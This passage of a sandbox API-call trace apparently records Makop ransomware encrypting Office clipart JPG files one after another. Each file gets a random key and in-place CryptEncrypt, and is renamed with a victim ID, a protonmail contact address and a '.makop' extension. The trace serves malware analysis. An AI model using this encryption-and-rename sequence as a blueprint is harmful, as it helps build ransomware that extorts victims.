lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0123.870] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0123.870] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0123.870] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0123.871] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0123.871] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0123.871] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0123.871] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0123.871] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.871] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x9a76, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x9a76, lpOverlapped=0x0) returned 1 [0123.873] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x9a80, dwBufLen=0x9a80 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x9a80) returned 1 [0123.873] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.874] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x9a80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x9a80, lpOverlapped=0x0) returned 1 [0123.874] CryptDestroyKey (hKey=0x48c7128) returned 1 [0123.874] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x9b54, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.874] SetEndOfFile (hFile=0xf0) returned 1 [0123.882] GetProcessHeap () returned 0x48a0000 [0123.882] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0123.882] GetProcessHeap () returned 0x48a0000 [0123.882] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0123.882] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145904.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0123.882] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145904.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145904.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145904.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145904.jpg.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0123.884] CloseHandle (hObject=0xf0) returned 1 [0123.884] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xb5ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0146142.JPG", cAlternateFileName="")) returned 1 [0123.884] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0146142.JPG") returned 63 [0123.884] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0146142.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0146142.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0123.885] GetProcessHeap () returned 0x48a0000 [0123.885] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0123.885] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0123.885] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0123.885] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0123.890] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0123.890] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0123.890] GetProcessHeap () returned 0x48a0000 [0123.890] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0123.891] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0123.891] CryptDestroyKey (hKey=0x48c7128) returned 1 [0123.891] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0123.891] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0123.891] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0123.891] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0123.891] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0123.892] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0123.892] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0123.892] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0123.892] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.892] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xb5ac, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xb5ac, lpOverlapped=0x0) returned 1 [0123.895] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xb5b0, dwBufLen=0xb5b0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xb5b0) returned 1 [0123.895] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.895] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xb5b0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xb5b0, lpOverlapped=0x0) returned 1 [0123.896] CryptDestroyKey (hKey=0x48c7128) returned 1 [0123.896] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xb684, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.896] SetEndOfFile (hFile=0xf0) returned 1 [0123.905] GetProcessHeap () returned 0x48a0000 [0123.905] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0123.905] GetProcessHeap () returned 0x48a0000 [0123.905] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0123.905] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0146142.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0123.905] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0146142.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0146142.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0146142.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0146142.jpg.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0123.907] CloseHandle (hObject=0xf0) returned 1 [0123.907] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f27470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xaa9a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0148309.JPG", cAlternateFileName="")) returned 1 [0123.907] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148309.JPG") returned 63 [0123.907] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148309.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0148309.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0123.909] GetProcessHeap () returned 0x48a0000 [0123.909] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0123.909] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0123.909] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0123.909] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x6, lpOverlapped=0x0) returned 1 [0123.913] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0123.913] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0123.914] GetProcessHeap () returned 0x48a0000 [0123.914] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0123.914] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0123.914] CryptDestroyKey (hKey=0x48c7128) returned 1 [0123.914] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0123.914] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0123.914] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0123.914] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0123.914] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0123.914] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0123.915] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0123.915] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0123.915] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.915] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xaa9a, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xaa9a, lpOverlapped=0x0) returned 1 [0123.917] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xaaa0, dwBufLen=0xaaa0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xaaa0) returned 1 [0123.917] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.917] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xaaa0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xaaa0, lpOverlapped=0x0) returned 1 [0123.918] CryptDestroyKey (hKey=0x48c7128) returned 1 [0123.918] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xab74, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.918] SetEndOfFile (hFile=0xf0) returned 1 [0123.926] GetProcessHeap () returned 0x48a0000 [0123.926] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0123.927] GetProcessHeap () returned 0x48a0000 [0123.927] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0123.927] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148309.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0123.927] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148309.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0148309.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148309.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0148309.jpg.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0123.928] CloseHandle (hObject=0xf0) returned 1 [0123.928] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x107d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0148757.JPG", cAlternateFileName="")) returned 1 [0123.928] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148757.JPG") returned 63 [0123.928] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148757.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0148757.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0123.929] GetProcessHeap () returned 0x48a0000 [0123.930] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0123.930] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0123.930] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0123.930] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0123.934] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0123.934] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0123.934] GetProcessHeap () returned 0x48a0000 [0123.934] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0123.934] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0123.934] CryptDestroyKey (hKey=0x48c7128) returned 1 [0123.935] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0123.935] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0123.935] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0123.935] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0123.935] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0123.935] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0123.936] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0123.936] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0123.936] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.936] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x107d4, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x107d4, lpOverlapped=0x0) returned 1 [0123.938] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x107e0, dwBufLen=0x107e0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x107e0) returned 1 [0123.940] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.940] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x107e0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x107e0, lpOverlapped=0x0) returned 1 [0123.940] CryptDestroyKey (hKey=0x48c7128) returned 1 [0123.941] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x108b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.941] SetEndOfFile (hFile=0xf0) returned 1 [0123.948] GetProcessHeap () returned 0x48a0000 [0123.949] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0123.949] GetProcessHeap () returned 0x48a0000 [0123.949] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0123.949] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148757.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0123.949] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148757.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0148757.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148757.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0148757.jpg.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0123.950] CloseHandle (hObject=0xf0) returned 1 [0123.950] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f27470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x955d, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0148798.JPG", cAlternateFileName="")) returned 1 [0123.950] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148798.JPG") returned 63 [0123.950] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148798.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0148798.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0123.951] GetProcessHeap () returned 0x48a0000 [0123.951] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0123.951] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0123.951] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0123.952] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x3, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x3, lpOverlapped=0x0) returned 1 [0123.956] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, 